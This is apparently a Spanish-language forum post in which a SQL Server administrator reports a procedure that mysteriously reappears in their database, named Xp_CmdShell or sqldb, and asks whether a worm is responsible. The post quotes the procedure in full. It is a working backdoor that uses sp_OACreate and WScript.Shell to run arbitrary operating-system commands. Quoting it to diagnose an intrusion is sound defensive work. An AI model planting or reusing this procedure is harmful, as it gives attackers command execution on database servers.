Hola a todos...
Creo que tengo un problema, aunque no se si es serio o no. En los últimos 3
meses se me han creado 3 procedimientos en la base de datos "por arte de
magia"
El texto del procedimiento siempre es el mismo, lo único que cambia es el
nombre: dos veces se generó con el nombre de Xp_CmdShell y otra con Sqldb.
CREATE PROCEDURE sqldb(@cmd varchar(255), @Wait int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate 'WScript.Shell', @ShellID OUT
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('CreateObject %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OAMethod @ShellID, 'Run', Null, @cmd, 0, @Wait
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR ('Run %0X', 14, 1, @OLEResult)
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result
A alguien más le ha pasado lo mismo?? Es un gusano que corre por ahí?
Puedo mediante el Profiler saber que proceso crea un procedimiento?? (lo he
estado mirando y me parece que no se puede)
Leer las respuestas